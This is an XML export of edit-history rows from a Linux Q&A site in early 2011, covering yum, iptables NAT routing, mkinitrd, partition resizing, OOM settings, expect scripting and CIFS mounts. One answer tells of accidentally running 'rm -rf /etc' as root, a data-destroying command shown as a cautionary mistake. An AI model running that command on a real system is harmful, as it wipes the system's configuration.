  <row Id="16437" PostHistoryTypeId="5" PostId="7105" RevisionGUID="b3b974f8-2ee0-4a76-ab09-c6ecb2b50d6a" CreationDate="2011-02-08T15:25:16.330" UserId="3069" Comment="deleted 1 characters in body" Text="Probably the easiest thing to do here, to just fix this problem, is to install the &quot;yum-plugin-tmprepo&quot; plugin and do:&#xD;&#xA;&#xD;&#xA;    yum history undo &lt;transaction id&gt; --tmprepo=/path/to/DVD/packages&#xD;&#xA;&#xD;&#xA;...where you can get the transaction ID from `yum history list openoffice`." />
  <row Id="16438" PostHistoryTypeId="2" PostId="7106" RevisionGUID="1fdd3640-5ab0-4d20-a9ae-11ff89927fc9" CreationDate="2011-02-08T16:01:39.050" UserId="1910" Text="&gt; My experience is really just limited to yum, but I don't &#xD;&#xA;&gt; understand why I wouldn't be able to drop a repo file into &#xD;&#xA;&gt; ~/etc/yum.repos.d and have yum install everything into a home &#xD;&#xA;&gt; account.&#xD;&#xA;&#xD;&#xA;The mainstream Linux package managers view the world as a sysadmin would ... where the machine is a single entity. This allows you to get answers to questions like &quot;what outstanding errata apply to system X&quot; and &quot;how do system X and system Y differ&quot;.&#xD;&#xA;This also allows yum to have &quot;a history&quot; which is usable, have rpmdb versions and do things like &quot;yum --security update&quot; etc.&#xD;&#xA;&#xD;&#xA;There are some package managers, like zero-install, which try to view the world as a user would ... ie. what _applications_ do _I_ have access to.&#xD;&#xA;&#xD;&#xA;You might think the later is a better model, but IMNSHO there is a reason you haven't heard of zero-install but have heard of yum.&#xD;&#xA;" />
  <row Id="16439" PostHistoryTypeId="2" PostId="7107" RevisionGUID="8a9e5dcd-64fd-4f6e-a844-ab1fc56eb9ba" CreationDate="2011-02-08T16:40:20.890" UserId="1910" Text="While &quot;yum check-update&quot; will refresh the local cache, if it needs to be refreshed, so will most other commands.&#xD;&#xA;&#xD;&#xA;The command that's strictly the equivalent of &quot;apt-get update&quot; is &quot;yum makecache&quot; ... however it's generally not recommended to run that directly, in yum.&#xD;&#xA;" />
  <row Id="16440" PostHistoryTypeId="2" PostId="7108" RevisionGUID="97933834-d07b-4054-bb49-5a9fc2bbafd2" CreationDate="2011-02-08T16:44:48.307" UserId="2345" Text="From my experience in Ubuntu, when you &quot;eject&quot; a USB stick from within Nautilus, the device actually disappears from the system. I'm not sure why this is, but neither Nautilus nor the command line can get it back. I guess the logic is that once you eject a USB stick you don't want it back, but are going to disconnect it.&#xD;&#xA;&#xD;&#xA;The way I work around this (when needed), is by using `umount` instead of Nautilus. You could also just call `sync` to flush the filesystem buffers to the disk.&#xD;&#xA;&#xD;&#xA;Just found a thread which has more info : http://ubuntuforums.org/showthread.php?t=1477247&#xD;&#xA;&#xD;&#xA;So basically either a) Rebuild nautilus from source without that patch (and keep it up to date when you update your system...) or b) use another file manager (at least when unmounting ^^)." />
  <row Id="16441" PostHistoryTypeId="2" PostId="7109" RevisionGUID="0942c43e-ef53-43b0-a45b-820cc7e56e74" CreationDate="2011-02-08T16:56:43.960" UserId="2345" Text="Since you are running this on powerful hardware, I'd recommend you just install the distro you are already most familiar with and take it from there.&#xD;&#xA;&#xD;&#xA;Setting up any random distro as a router isn't hard, just install `iptables` and run&#xD;&#xA;&#xD;&#xA;    echo 1 &gt; /proc/sys/net/ipv4/ip_forward&#xD;&#xA;    iptables -A POSTROUTING -t nat -o eth0 -j MASQUERADE&#xD;&#xA;&#xD;&#xA;Assuming `eth0` is the device connected to your router / the internet.&#xD;&#xA;&#xD;&#xA;Also, as mentioned by Zeb, you might want to put the AP somewhere which will offer better coverage than behind a computer under a desk. Anyways if you have any other wired devices you're going to need a second NIC in the server." />
  <row Id="16442" PostHistoryTypeId="25" PostId="7056" RevisionGUID="6d23a52a-4a50-4e28-9303-ad5f7320ea30" CreationDate="2011-02-08T17:16:31.057" Comment="http://twitter.com/#!/StackUnix/status/35024184765587456" />
  <row Id="16443" PostHistoryTypeId="2" PostId="7110" RevisionGUID="5d640437-146b-49b2-8288-ed3d35c78c98" CreationDate="2011-02-08T17:22:48.507" UserId="2345" Text="Indeed, do you plug the phone cord directly into your PC? Otherwise, if you have a router, you don't need to do anything except configure your network correctly (that is, with the correct gateway -- for example 192.168.1.1).&#xD;&#xA;&#xD;&#xA;To answer your question, they probably mean adding the module (driver) to `/etc/modules` (might be named differently on Arch), so that it is forced to load on boot (most modules are loaded automatically as their corresponding hardware is detected)." />
  <row Id="16444" PostHistoryTypeId="2" PostId="7111" RevisionGUID="67937073-a19a-4746-99ef-59f662856fea" CreationDate="2011-02-08T17:29:37.783" UserId="2345" Text="This is not an error, this is a standard output from GRUB. (Although in your case it could be a coincidence...)&#xD;&#xA;&#xD;&#xA;Are you sure your `grub.cfg` / `menu.lst` is configured correctly? My GRUB normally outputs this line after the `root (hd0,X)` command...&#xD;&#xA;&#xD;&#xA;I can't tell much more without some extra details of what software you're running, full output, and at what part of the boot process this occurs :)" />
  <row Id="16446" PostHistoryTypeId="2" PostId="7113" RevisionGUID="f45c0c8e-5b7d-4345-80d0-fba2edcc81bd" CreationDate="2011-02-08T20:03:57.947" UserId="4481" Text="When creating an initrd using mkinitrd (CentOS 5.5), the kernel modules it adds to the initrd get modified in the process.  For example, the initrd's /lib/sata_via.ko is not binary identical to /lib/modules/2.6.18-194.32.1.el5/kernel/drivers/ata/sata_via.ko.  &#xD;&#xA;&#xD;&#xA;I am just curious as to what happens when mkinitrd includes a kernel module - does it link in  dependencies, or what is it that makes the module change?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16447" PostHistoryTypeId="1" PostId="7113" RevisionGUID="f45c0c8e-5b7d-4345-80d0-fba2edcc81bd" CreationDate="2011-02-08T20:03:57.947" UserId="4481" Text="Question about how mkinitrd adds kernel modules to the initrd" />
  <row Id="16448" PostHistoryTypeId="3" PostId="7113" RevisionGUID="f45c0c8e-5b7d-4345-80d0-fba2edcc81bd" CreationDate="2011-02-08T20:03:57.947" UserId="4481" Text="élinuxàékernelömodulesàéinitrdà" />
  <row Id="16449" PostHistoryTypeId="25" PostId="7113" RevisionGUID="5987b223-34e2-4418-9c7d-c9cd576281c0" CreationDate="2011-02-08T20:16:31.540" Comment="http://twitter.com/#!/StackUnix/status/35069485438210048" />
  <row Id="16450" PostHistoryTypeId="2" PostId="7114" RevisionGUID="2fd5a6f4-cd57-4039-bf6b-34c7a7c4e62b" CreationDate="2011-02-08T20:31:00.030" UserId="4608" Text="I ran out of space in my on the drive only to find that there was another unformatted partition in the system that is available. I now want to resize the current partition to take in the empty partition without losing data. Any ideas?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="16451" PostHistoryTypeId="1" PostId="7114" RevisionGUID="2fd5a6f4-cd57-4039-bf6b-34c7a7c4e62b" CreationDate="2011-02-08T20:31:00.030" UserId="4608" Text="How do I resize a partition in Ubuntu linux without losing data?" />
  <row Id="16452" PostHistoryTypeId="3" PostId="7114" RevisionGUID="2fd5a6f4-cd57-4039-bf6b-34c7a7c4e62b" CreationDate="2011-02-08T20:31:00.030" UserId="4608" Text="élinuxàéubuntuàépartitionà" />
  <row Id="16454" PostHistoryTypeId="2" PostId="7115" RevisionGUID="07168807-7e70-4c93-b1d2-dfd7a270887b" CreationDate="2011-02-08T20:59:47.493" UserId="3432" Text="boot from live Linux distro (you can use Ubuntu install disk) and use gparted&#xD;&#xA;&#xD;&#xA;But always something can go wrong, so it is advisable to make a `backup`.&#xD;&#xA;&#xD;&#xA;The other option is to format the unused partition and mount it and use it (depending on the size) as /home or /usr" />
  <row Id="16455" PostHistoryTypeId="5" PostId="7067" RevisionGUID="fd61bf52-c983-4dc2-8a1d-296c7442849a" CreationDate="2011-02-08T21:19:33.157" UserId="2689" Comment="added 428 characters in body" Text="I have a wav file, Duration: 00:00:00.17 (less than a second!)&#xD;&#xA;&#xD;&#xA;When I call play to execute it, `play` plays it, but my terminal becomes idle for 4s until play process is done.&#xD;&#xA;&#xD;&#xA;Is this by design? Is it possible to just play the sound and be done in less than a second?&#xD;&#xA;&#xD;&#xA;**EDIT**: Running `time` as suggested by @jsbillings:&#xD;&#xA;&#xD;&#xA;     File Size: 1.89k     Bit Rate: 90.3k&#xD;&#xA;      Encoding: Unsigned PCM  &#xD;&#xA;      Channels: 1 @ 8-bit    &#xD;&#xA;    Samplerate: 11025Hz      &#xD;&#xA;    Replaygain: off         &#xD;&#xA;      Duration: 00:00:00.17  &#xD;&#xA;    &#xD;&#xA;    In:100%  00:00:00.17 [00:00:00.00] Out:1.85k [!=====|=====!]        Clip:0    &#xD;&#xA;    Done.&#xD;&#xA;    &#xD;&#xA;    real	0m2.912s&#xD;&#xA;    user	0m0.004s&#xD;&#xA;    sys	        0m0.008s" />
  <row Id="16456" PostHistoryTypeId="2" PostId="7116" RevisionGUID="95a45bd1-a6e9-4d15-bf6f-90dfa043bfe5" CreationDate="2011-02-08T21:30:27.270" UserId="4158" Text="A while ago, I needed to do some extensive configuration on one of my machines, that mostly involved editing bunch of files in `/etc`.  I decided to be really careful about it, so I created an `etc` directory in my `$HOME`, copied the files that needed editing in there, spent couple hours doing the edits.  I carefully checked all the files, made sure that all the edits were exactly the way they were supposed to be, logged in as root and copied the edited files back to `/etc`.  By then, it was very late at night. Still as root, I decided to clean up, and instead of `rm -rf etc`, I typed in `rm -rf /etc`.  I did not get much sleep that night. " />
  <row Id="16457" PostHistoryTypeId="2" PostId="7117" RevisionGUID="83f2bac1-7f9a-41a4-8cb5-7a594a0be307" CreationDate="2011-02-08T21:30:55.533" UserId="2722" Text="Try this live CD: [PartedMagic][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://partedmagic.com/doku.php?id=start" />
  <row Id="16458" PostHistoryTypeId="5" PostId="7102" RevisionGUID="34d6ab4c-f907-4af9-8cc6-741002dd2e73" CreationDate="2011-02-08T21:39:15.207" UserId="3069" Comment="added 619 characters in body" Text="The kernel does allocate a [minimal][1] amount of free space for itself. You can see this value with:&#xD;&#xA;&#xD;&#xA;    $ sysctl vm.min_free_kbytes&#xD;&#xA;    vm.min_free_kbytes = 2842&#xD;&#xA;&#xD;&#xA;    $ cat /proc/sys/vm/min_free_kbytes&#xD;&#xA;    vm.min_free_kbytes = 2842&#xD;&#xA;&#xD;&#xA;This value [depends][2] on the amount of RAM (512MB in the case above), you can try to increase it, but I don't think this will solve your problem (further will it increase the chance of getting OOM'd sooner).&#xD;&#xA;&#xD;&#xA;The OOM killer should have enough free memory to kill applications, else it would miss the purpose of having one (like chris already pointed out).&#xD;&#xA;&#xD;&#xA;**Edit**: Just as a side-note, I don't think it's the best way to solve a problem concerning user-space programs, just by modifying kernel parameters (OOM values). The kernel has best knowledge on what's going on and how to handle certain situations. Rather than playing with those values, try to fix the memory problems the user-space programs (Xorg, browser) generate. Also, see the comment on the [mm/oom_kill.c][3] source file, not even the kernel developers think that the OOM killer should have a lot of work to do in a well configured environment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://lxr.linux.no/#linux+v2.6.37/Documentation/sysctl/vm.txt#L348&#xD;&#xA;  [2]: http://lxr.linux.no/#linux+v2.6.37/mm/page_alloc.c#L4977&#xD;&#xA;  [3]: http://lxr.linux.no/#linux+v2.6.37/mm/oom_kill.c#L14" />
  <row Id="16459" PostHistoryTypeId="2" PostId="7118" RevisionGUID="17fe15d6-4b9f-438d-afc4-0e720cebe39d" CreationDate="2011-02-08T21:56:08.830" UserId="4057" Text="LVM is the way to go. Turn your whole spindles into PV's and migrate from legacy partition-based model to LVM model. RedHat has some good documentation on LVM, check it out." />
  <row Id="16460" PostHistoryTypeId="2" PostId="7119" RevisionGUID="2753fcb1-03b0-4fea-9d47-0a740555d567" CreationDate="2011-02-08T22:25:02.450" UserId="3169" Text="You have a `/lib/sata_vio.ko` in your initrd?&#xD;&#xA;&#xD;&#xA;On my Ubuntu system, the module is in the same location inside the initrd image, e.g. `&lt;extracted initrd&gt;/lib/modules/&lt;uname -r&gt;/drivers/ata/sata_vio.ko`.&#xD;&#xA;&#xD;&#xA;What does `file` say?  What does `strings | grep '\&lt;ver'` say?  Maybe it's from a different driver or a different kernel version?&#xD;&#xA;&#xD;&#xA;Obviously you could use `ls -l` or `du` to get an idea if `/lib/sata_vio.ko` is larger, and run `nm -D` against both files to see if there is any difference in symbols (e.g. using `diff`)." />
  <row Id="16461" PostHistoryTypeId="5" PostId="7119" RevisionGUID="281972c0-b0d0-44c2-b8b5-63a79046368b" CreationDate="2011-02-08T22:30:25.933" UserId="3169" Comment="added 103 characters in body" Text="You have a `/lib/sata_vio.ko` in your initrd?  Is (or was) one of your file systems (e.g. `/` = &quot;root&quot;) on a SATA drive that would need that driver?&#xD;&#xA;&#xD;&#xA;On my Ubuntu system, the module is in the same location inside the initrd image, e.g. `&lt;extracted initrd&gt;/lib/modules/&lt;uname -r&gt;/drivers/ata/sata_vio.ko`.&#xD;&#xA;&#xD;&#xA;What does `file` say?  What does `strings | grep '\&lt;ver'` say?  Maybe it's from a different driver or a different kernel version?&#xD;&#xA;&#xD;&#xA;Obviously you could use `ls -l` or `du` to get an idea if `/lib/sata_vio.ko` is larger, and run `nm -D` against both files to see if there is any difference in symbols (e.g. using `diff`)." />
  <row Id="16462" PostHistoryTypeId="5" PostId="7119" RevisionGUID="19fdafe8-71d5-48eb-82e7-20dafdec21e0" CreationDate="2011-02-08T22:35:52.977" UserId="3169" Comment="added 75 characters in body; added 204 characters in body" Text="You have a `/lib/sata_vio.ko` in your initrd?  Is (or was) one of your file systems (e.g. `/` = &quot;root&quot;) on a SATA drive that would need that driver?  Does an entry for it appear in `/etc/modules` or `/etc/mkinitrd/modules`?&#xD;&#xA;&#xD;&#xA;On my Ubuntu system, the module is in the same location inside the initrd image, e.g. `&lt;extracted initrd&gt;/lib/modules/&lt;uname -r&gt;/drivers/ata/sata_vio.ko`.&#xD;&#xA;&#xD;&#xA;What does `file` say?  What does `strings | grep '\&lt;ver'` say?  Maybe it's from a different driver or a different kernel version?&#xD;&#xA;&#xD;&#xA;Obviously you could use `ls -l` or `du` to get an idea if `/lib/sata_vio.ko` is larger, and run `nm -D` against both files to see if there is any difference in symbols (e.g. using `diff`).&#xD;&#xA;&#xD;&#xA;The whole process should be documented in `man mkinitrd`, in particular, it should say what scripts your system runs, perhaps something in `/usr/share/initrd-tools/scripts` or `/etc/mkinitrd/scripts`?" />
  <row Id="16463" PostHistoryTypeId="25" PostId="7114" RevisionGUID="610140ab-954d-488d-93b8-9ea3f10f1988" CreationDate="2011-02-08T23:16:32.417" Comment="http://twitter.com/#!/StackUnix/status/35114784508743680" />
  <row Id="16464" PostHistoryTypeId="2" PostId="7120" RevisionGUID="de9b59ec-1fad-429b-aae4-cea762823d2c" CreationDate="2011-02-08T23:29:33.997" UserId="4485" Text="&gt; to find that there was another unformatted partition &#xD;&#xA;&#xD;&#xA;Are you sure that this isn't your swap-partition? Beside from that I would recommend LVM as mentioned before by slashdot." />
  <row Id="16465" PostHistoryTypeId="2" PostId="7121" RevisionGUID="83b8bc7c-1624-4958-b29d-6bf5f9508103" CreationDate="2011-02-08T23:31:24.107" UserId="4585" Text="I'm having a frustrating time with customizing my CentOS 5.5 installation. I want to have a specific set of the packages installed but each time I carefully go through all the customization screens on installation it seems to somewhat randomly select and deselect other options. I'm trying to write up a repeatable step-by-step doc but something isn't right.&#xD;&#xA;&#xD;&#xA;I've tried picking just &quot;Desktop (GNOME)&quot; or &quot;Server GUI&quot; or even none of the defaults and then choosing &quot;Customize Now&quot;. I then go through each of the options but what comes out after the reboot is different each time. For a simple example, sometimes Firefox 3.0 is installed, sometimes 3.6, and sometimes none! In the Package Manager after the install there also appears to be a different set of options available than during installation.&#xD;&#xA;&#xD;&#xA;Am I missing some core metaphor that the installer is using? I'm using the exact same DVD image each time so I'm confused why I'm having such different results. Also I'm using the graphical installation mode.&#xD;&#xA;&#xD;&#xA;Any pointers would help." />
  <row Id="16466" PostHistoryTypeId="1" PostId="7121" RevisionGUID="83b8bc7c-1624-4958-b29d-6bf5f9508103" CreationDate="2011-02-08T23:31:24.107" UserId="4585" Text="CentOS 5.5 Package Frustration" />
  <row Id="16467" PostHistoryTypeId="3" PostId="7121" RevisionGUID="83b8bc7c-1624-4958-b29d-6bf5f9508103" CreationDate="2011-02-08T23:31:24.107" UserId="4585" Text="éinstallàécentosàéserveràésoftwareöinstallationà" />
  <row Id="16468" PostHistoryTypeId="5" PostId="7121" RevisionGUID="8f40c600-ab78-4ef3-8a01-13f4fe9f2de1" CreationDate="2011-02-08T23:36:24.463" UserId="4585" Comment="added 28 characters in body; edited title" Text="I'm having a frustrating time with customizing my initial CentOS 5.5 installation. I want to have a specific set of the packages installed but each time I carefully go through all the customization screens on installation it seems to somewhat randomly select and deselect other options. I'm trying to write up a repeatable step-by-step doc but something isn't right.&#xD;&#xA;&#xD;&#xA;I've tried picking just &quot;Desktop - Gnome&quot; or &quot;Server GUI&quot; or even none of them. Then I choose the &quot;Customize now&quot; option and go through each of the packages that I want. What's odd is what comes out after the reboot is different each time. For a simple example, sometimes Firefox 3.0 is installed, sometimes 3.6, and sometimes none! In the Package Manager after the install there also appears to be a different set of options available than during installation.&#xD;&#xA;&#xD;&#xA;Am I missing some core metaphor that the installer is using? I'm using the exact same DVD image each time so I'm confused why I'm having such different results. Also I'm using the graphical installation mode.&#xD;&#xA;&#xD;&#xA;Any pointers would help." />
  <row Id="16469" PostHistoryTypeId="4" PostId="7121" RevisionGUID="8f40c600-ab78-4ef3-8a01-13f4fe9f2de1" CreationDate="2011-02-08T23:36:24.463" UserId="4585" Comment="added 28 characters in body; edited title" Text="CentOS 5.5 Install Customization" />
  <row Id="16470" PostHistoryTypeId="5" PostId="7121" RevisionGUID="77111f8b-25d7-4d29-bd9b-c8085b6169c0" CreationDate="2011-02-08T23:44:05.797" UserId="4585" Comment="added example" Text="I'm having a frustrating time with customizing my initial CentOS 5.5 installation. I want to have a specific set of the packages installed (e.g. I want Java and httpd but not OpenOffice or NewsServer) but each time I carefully go through all the customization screens on installation it seems to somewhat randomly select and deselect other options. I'm trying to write up a repeatable step-by-step doc but something isn't right.&#xD;&#xA;&#xD;&#xA;I've tried picking just &quot;Desktop - Gnome&quot; or &quot;Server GUI&quot; or even none of them. Then I choose the &quot;Customize now&quot; option and go through each of the packages that I want. What's odd is what comes out after the reboot is different each time. For a simple example, sometimes Firefox 3.0 is installed, sometimes 3.6, and sometimes none! In the Package Manager after the install there also appears to be a different set of options available than during installation.&#xD;&#xA;&#xD;&#xA;Am I missing some core metaphor that the installer is using? I'm using the exact same DVD image each time so I'm confused why I'm having such different results. Also I'm using the graphical installation mode.&#xD;&#xA;&#xD;&#xA;Any pointers would help." />
  <row Id="16471" PostHistoryTypeId="5" PostId="7121" RevisionGUID="3d2fd867-3c84-4c7d-8111-3c3a0c7bef99" CreationDate="2011-02-08T23:58:15.160" UserId="4585" Comment="clarification and tags" Text="I'm having a frustrating time with customizing my initial CentOS 5.5 installation. I want to have a specific set of the packages installed (e.g. I want Java and httpd but not OpenOffice or NewsServer) but each time I carefully go through all the customization screens on installation it seems to somewhat randomly select and deselect other options. I'm trying to write up a repeatable step-by-step doc but something isn't right.&#xD;&#xA;&#xD;&#xA;I've tried picking just &quot;Desktop - Gnome&quot; or &quot;Server GUI&quot; or even none of them. Then I choose the &quot;Customize now&quot; option and go through each of the packages that I want. What's odd is what comes out after the reboot is different each time. Does it matter which default package group I choose if I'm going to customize the lists?&#xD;&#xA;&#xD;&#xA;Am I missing some core metaphor that the installer is using? I'm using the exact same DVD image each time so I'm confused why I'm having such different results. Also I'm using the graphical installation mode.&#xD;&#xA;&#xD;&#xA;Any pointers would help." />
  <row Id="16472" PostHistoryTypeId="6" PostId="7121" RevisionGUID="3d2fd867-3c84-4c7d-8111-3c3a0c7bef99" CreationDate="2011-02-08T23:58:15.160" UserId="4585" Comment="clarification and tags" Text="éinstallàécentosàépackageömanagementàékickstartà" />
  <row Id="16473" PostHistoryTypeId="2" PostId="7122" RevisionGUID="bae6568a-eb9d-4b1c-8404-d51aabfd594b" CreationDate="2011-02-09T00:44:06.693" UserId="48" Text="I have to migrate a few servers to Linux, and one important aspect that I need to evaluate is that my new host system must have elastic storage capacity. Naturally, doing some basic research, I came across LVM.&#xD;&#xA;&#xD;&#xA;My question is: is there any performance penalty for using lvm? If so, how can I measure it?&#xD;&#xA;&#xD;&#xA;What I am considering right now is to have Linux as a host OS with LVM and virtualized Linux boxes running on top of it (should I add LVM on the guest OS as well?)." />
  <row Id="16474" PostHistoryTypeId="1" PostId="7122" RevisionGUID="bae6568a-eb9d-4b1c-8404-d51aabfd594b" CreationDate="2011-02-09T00:44:06.693" UserId="48" Text="Does LVM impact performance?" />
  <row Id="16475" PostHistoryTypeId="3" PostId="7122" RevisionGUID="bae6568a-eb9d-4b1c-8404-d51aabfd594b" CreationDate="2011-02-09T00:44:06.693" UserId="48" Text="éserveràévirtualömachineàélvmà" />
  <row Id="16476" PostHistoryTypeId="5" PostId="7121" RevisionGUID="b94f9b8c-9719-475e-a18b-79720a76d387" CreationDate="2011-02-09T00:50:28.737" UserId="4585" Comment="added another example" Text="I'm having a frustrating time with customizing my initial CentOS 5.5 installation. I want to have a specific set of the packages installed (e.g. I want Java and httpd but not OpenOffice or NewsServer) but each time I carefully go through all the customization screens on installation it seems to somewhat randomly select and deselect other options. I'm trying to write up a repeatable step-by-step doc but something isn't right.&#xD;&#xA;&#xD;&#xA;I've tried picking just &quot;Desktop - Gnome&quot; or &quot;Server GUI&quot; or even none of them. Then I choose the &quot;Customize now&quot; option and go through each of the packages that I want. What's odd is what comes out after the reboot is different each time. Does it matter which default package group I choose if I'm going to customize the lists?&#xD;&#xA;&#xD;&#xA;Another oddity happens if I try to customize after the fact. For instance, if I try to just remove OpenOffice, it removes Gnome as a side-effect. I didn't uncheck the Gnome box but it appears that since OpenOffice is dependent upon Gnome, it gets removed as well. This implies that I need to do a minimal install and build it up as needed.&#xD;&#xA;&#xD;&#xA;Am I missing some core metaphor that the installer is using? I'm using the exact same DVD image each time so I'm confused why I'm having such different results. Also I'm using the graphical installation mode. Ideally I'd be able to create a kickstart config from a good install.&#xD;&#xA;&#xD;&#xA;Any pointers would help." />
  <row Id="16477" PostHistoryTypeId="2" PostId="7123" RevisionGUID="52de163a-0cf8-4e31-ba3c-bd7d124a19ad" CreationDate="2011-02-09T01:49:47.947" UserId="3455" Text="*Disclaimer:: I am not an active shell scripter*&#xD;&#xA;&#xD;&#xA;How does one create a script that responds to console output? For instance, I'm trying to setup a cron that periodically svnsync 's changes to my repository to a backup server every midnight. The problem is, in order to sync, it prompts for authorization credentials.&#xD;&#xA;&#xD;&#xA;svnsync sync &lt;TO-$REPO&gt; accepts no options to specify a login thus a simple cron command is out. I believe I can launch a script but I'm trying to figure out how to make it respond to console output.&#xD;&#xA;&#xD;&#xA;For instance:&#xD;&#xA;&#xD;&#xA;    ken@server:~$ svnsync sync https://svn3.backup.net/svn/mirror&#xD;&#xA;    Authentication realm: &lt;https://svn3.backup.net/svn/mirror:443&gt; backup.net Subversion Backup&#xD;&#xA;    Password for 'ken':&#xD;&#xA;    ***&lt;send return key&gt;***&#xD;&#xA;    Username:***&lt;specify backup.net username&gt;***&#xD;&#xA;    Password for '&lt;the name&gt;':***&lt;specify password for username&gt;***&#xD;&#xA;    &lt;It proceeds to check out&gt;&#xD;&#xA;&#xD;&#xA;where `***&lt; message &gt;***` is the action I want the script to respond to.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16478" PostHistoryTypeId="1" PostId="7123" RevisionGUID="52de163a-0cf8-4e31-ba3c-bd7d124a19ad" CreationDate="2011-02-09T01:49:47.947" UserId="3455" Text="shell scripts that respond to console output " />
  <row Id="16479" PostHistoryTypeId="3" PostId="7123" RevisionGUID="52de163a-0cf8-4e31-ba3c-bd7d124a19ad" CreationDate="2011-02-09T01:49:47.947" UserId="3455" Text="éshellàéshellöscriptàésubversionà" />
  <row Id="16480" PostHistoryTypeId="2" PostId="7124" RevisionGUID="b9e20d5d-96e9-4e79-b426-d942aaca8aa0" CreationDate="2011-02-09T02:00:36.097" UserId="4340" Text="Hi&#xD;&#xA;&#xD;&#xA;I was reading &quot;Linux device drivers, 3rd edition&quot; and don't completely&#xD;&#xA;understand a part describing interrupt handlers. I would like to clarify:&#xD;&#xA;- are the interrupt handlers in Linux nonpreemptible?&#xD;&#xA;- are the interrupt handlers in Linux non-reentrant?&#xD;&#xA;&#xD;&#xA;I believe I understand the model of Top/Bottom halves quite well, and&#xD;&#xA;according to it the interrupts are disabled for as long as the TopHalf&#xD;&#xA;is being executed, thus the handler can't be re-entered, am I right?&#xD;&#xA;&#xD;&#xA;But waht about high priority interrupts? Are they supported by vanilla Linux or&#xD;&#xA;specific real-time extensions only? What happens if a low priority interrupt&#xD;&#xA;is interrupted by high priority one?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="16481" PostHistoryTypeId="1" PostId="7124" RevisionGUID="b9e20d5d-96e9-4e79-b426-d942aaca8aa0" CreationDate="2011-02-09T02:00:36.097" UserId="4340" Text="re-entrency of interrupts in Linux" />
  <row Id="16482" PostHistoryTypeId="3" PostId="7124" RevisionGUID="b9e20d5d-96e9-4e79-b426-d942aaca8aa0" CreationDate="2011-02-09T02:00:36.097" UserId="4340" Text="élinuxàéinterruptà" />
  <row Id="16483" PostHistoryTypeId="5" PostId="7124" RevisionGUID="a2e9140a-2807-48b7-bb89-0028d9353d73" CreationDate="2011-02-09T02:05:49.040" UserId="4340" Comment="edited body" Text="Hi&#xD;&#xA;&#xD;&#xA;I was reading &quot;Linux device drivers, 3rd edition&quot; and don't completely&#xD;&#xA;understand a part describing interrupt handlers. I would like to clarify:&#xD;&#xA;- are the interrupt handlers in Linux nonpreemptible?&#xD;&#xA;- are the interrupt handlers in Linux non-reentrant?&#xD;&#xA;&#xD;&#xA;I believe I understand the model of Top/Bottom halves quite well, and&#xD;&#xA;according to it the interrupts are disabled for as long as the TopHalf&#xD;&#xA;is being executed, thus the handler can't be re-entered, am I right?&#xD;&#xA;&#xD;&#xA;But what about high priority interrupts? Are they supported by vanilla Linux or&#xD;&#xA;specific real-time extensions only? What happens if a low priority interrupt&#xD;&#xA;is interrupted by high priority one?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="16484" PostHistoryTypeId="2" PostId="7125" RevisionGUID="9a7255ff-1ae8-4fe4-b7f0-b37bc6ba1017" CreationDate="2011-02-09T02:09:49.147" UserId="3169" Text="`expect` might help.&#xD;&#xA;&#xD;&#xA;There's a [O'Reilly tutorial][1].&#xD;&#xA;&#xD;&#xA;  [1]: http://oreilly.com/catalog/expect/chapter/ch03.html" />
  <row Id="16485" PostHistoryTypeId="25" PostId="7124" RevisionGUID="593aaa71-a833-4c24-9180-468e749fb345" CreationDate="2011-02-09T02:16:33.180" Comment="http://twitter.com/#!/StackUnix/status/35160089086136321" />
  <row Id="16486" PostHistoryTypeId="2" PostId="7126" RevisionGUID="3c8ba43e-6078-4dcf-9720-3a1a85c7573a" CreationDate="2011-02-09T02:46:35.527" UserId="4616" Text="Say I have this 857835 line file, containing stuff like this:&#xD;&#xA;&#xD;&#xA;    a1&#xD;&#xA;    rubbish1&#xD;&#xA;    rubbish2&#xD;&#xA;    rubbish3&#xD;&#xA;    rubbish4&#xD;&#xA;    a1&#xD;&#xA;    rubbish5&#xD;&#xA;    rubbish6&#xD;&#xA;    rubbish7&#xD;&#xA;    rubbish8&#xD;&#xA;&#xD;&#xA;And I wish to remove all occurences of `a1` and the next line (`rubbish1` and `rubbish5` in this example).  How do I do it?&#xD;&#xA;&#xD;&#xA;I've tried `grep 'a1' -v -A1` to no avail, and my sed skillz are not really great :}&#xD;&#xA;&#xD;&#xA;My Google-fu has not been able to help me this time, someone please help!" />
  <row Id="16487" PostHistoryTypeId="1" PostId="7126" RevisionGUID="3c8ba43e-6078-4dcf-9720-3a1a85c7573a" CreationDate="2011-02-09T02:46:35.527" UserId="4616" Text="Removing multiple lines per occurrence in a file" />
  <row Id="16488" PostHistoryTypeId="3" PostId="7126" RevisionGUID="3c8ba43e-6078-4dcf-9720-3a1a85c7573a" CreationDate="2011-02-09T02:46:35.527" UserId="4616" Text="ébashàégrepàésedà" />
  <row Id="16489" PostHistoryTypeId="2" PostId="7127" RevisionGUID="ac60ba05-02f6-4941-8ac1-b97055be37f2" CreationDate="2011-02-09T02:51:28.583" UserId="4585" Text="I had better responses over on Server Fault:&#xD;&#xA;&#xD;&#xA;http://serverfault.com/questions/233036/centos-5-5-install-customization" />
  <row Id="16490" PostHistoryTypeId="4" PostId="7126" RevisionGUID="0cdb0ecf-d885-4437-b2de-6a26be6dcf6d" CreationDate="2011-02-09T02:58:39.157" UserId="4616" Comment="edited title" Text="How to removing multiple lines per occurrence in a file?" />
  <row Id="16491" PostHistoryTypeId="2" PostId="7128" RevisionGUID="42b53305-a0ac-47e6-a949-0615a8b23d31" CreationDate="2011-02-09T02:59:27.500" UserId="4617" Text="I'm unable to mount smb share on my university network. Trying through the nautilus connect to server dialog gets me nothing, and unfortunately, neither does mounting through the command line. I try this command:&#xD;&#xA;&#xD;&#xA;    sudo mount.cifs \\servername.college.edu\courses ~/net/courses/ -o username=myusername&#xD;&#xA;&#xD;&#xA;And get an error message about a bad UNC:&#xD;&#xA;&#xD;&#xA;    mount.cifs: bad UNC (\servername.college.educourses)&#xD;&#xA;&#xD;&#xA;I posted the same question on [FedoraForum](http://forums.fedoraforum.org/showthread.php?t=257973), but have had no luck." />
